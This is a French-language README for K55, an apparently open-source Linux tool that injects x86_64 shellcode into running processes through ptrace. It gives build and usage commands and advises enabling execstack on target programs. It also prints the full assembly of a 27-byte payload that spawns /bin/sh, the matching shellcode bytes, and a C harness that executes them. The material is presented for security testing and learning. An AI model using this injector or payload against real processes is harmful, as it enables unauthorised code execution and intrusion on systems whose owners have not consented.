
Utilitaire d'injection de processus Linux x86_64
(prononcé : "kay fifty-five")
L'outil d'injection de payload K55 est utilisé pour injecter des charges utiles shellcode x86_64 dans des processus en cours d'exécution. L'utilitaire a été développé en utilisant des techniques modernes C++11 ainsi que quelques fonctions Linux C traditionnelles comme ptrace(). Le shellcode généré dans le processus cible fait 27 octets et exécute /bin/sh (génère un shell bash) dans l'espace d'adressage de la cible. À l'avenir, je permettrai aux utilisateurs de saisir leur propre shellcode via des arguments de ligne de commande.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage : ./K55 <nom-du-processus>
r-xp ou execstack. Test 1) Dans un terminal (répertoire K55/), exécutez : ./k55_example_process/k55_test_process
Test 2) Dans un autre terminal, lancez l'injecteur : sudo ./K55 k55_test_process
Évidemment, les appels ptrace(PTRACE_POKETEXT...) ne sont pas les plus discrets. Par conséquent, certaines applications peuvent limiter l'effet de K55. Cependant, pour les tests de sécurité, assurez-vous d'activer execstack pour vos applications cibles. Par exemple, si je teste sur gdb, avant d'injecter, j'exécuterais la commande suivante : sudo execstack -s /usr/bin/gdb. Installez execstack depuis le gestionnaire de paquets de votre distribution. Pour les utilisateurs d'Arch Linux, vous trouverez execstack sur l'AUR.
Remarque : Ce qui suit est une démonstration. La chaîne de payload est déjà codée en dur dans K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Décomposition du shellcode du code assembleur.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
Licence MIT
Copyright (c) Josh Schiavone